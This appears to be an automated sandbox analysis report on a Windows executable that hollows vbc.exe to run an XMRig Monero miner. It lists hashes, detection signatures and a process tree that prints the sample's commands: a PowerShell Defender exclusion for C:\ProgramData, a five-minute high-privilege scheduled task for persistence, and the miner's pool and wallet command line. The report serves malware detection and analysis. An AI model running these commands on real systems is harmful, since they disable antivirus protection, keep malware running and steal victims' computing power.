Analysis
-
max time kernel
86s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
04/01/2023, 19:35
Static task
static1
General
-
Target
50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe
-
Size
739KB
-
MD5
0727880d70ecfc773bb170445ea156b2
-
SHA1
258150fb6f9788b5fa885b89efb20c64353b4b7f
-
SHA256
50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc
-
SHA512
8485c5c43ef939f85f6012a03f7a4d70e6d0f61ca760a65692b3ee1834d61b33caf6b9ce468dbe1f35688f80226e59fdc33284e4be71acdfa7318792e2e83925
-
SSDEEP
12288:LBvrUz3MkUSZ+ASQHuvNZ2RCBbzlgC0OqeXF6Pm++qMXmCQrt2JVrXO6eXwQ1B1w:NvrUz3MkUSZ+A3X6bxgfOqe4+qNCQp2x
Malware Config
Signatures
-
XMRig Miner payload 6 IoCs
resource yara_rule behavioral1/memory/752-160-0x0000000140343234-mapping.dmp xmrig behavioral1/memory/752-159-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/752-161-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/752-162-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/752-164-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig behavioral1/memory/752-167-0x0000000140000000-0x00000001407C9000-memory.dmp xmrig -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-4246620582-653642754-1174164128-1000\Control Panel\International\Geo\Nation 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe -
Uses the VBS compiler for execution 1 TTPs
-
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3764 set thread context of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5036 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2524 powershell.exe 2524 powershell.exe 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe -
Suspicious behavior: LoadsDriver 1 IoCs
pid Process 652 Process not Found -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe Token: SeDebugPrivilege 2524 powershell.exe Token: SeLockMemoryPrivilege 752 vbc.exe Token: SeLockMemoryPrivilege 752 vbc.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 752 vbc.exe -
Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 3764 wrote to memory of 2524 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 81 PID 3764 wrote to memory of 2524 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 81 PID 3764 wrote to memory of 3284 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 87 PID 3764 wrote to memory of 3284 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 87 PID 3284 wrote to memory of 5036 3284 cmd.exe 89 PID 3284 wrote to memory of 5036 3284 cmd.exe 89 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92 PID 3764 wrote to memory of 752 3764 50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe 92
Processes
-
C:\Users\Admin\AppData\Local\Temp\50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe"C:\Users\Admin\AppData\Local\Temp\50c28be7bb31155d51a7d682242b7da6620ed8f6842319cec2a0655a3ff025dc.exe"1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2524
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3284 -
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WSEL" /tr "C:\ProgramData\7zip\WSEL.exe"3⤵
- Creates scheduled task(s)
PID:5036
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:752
-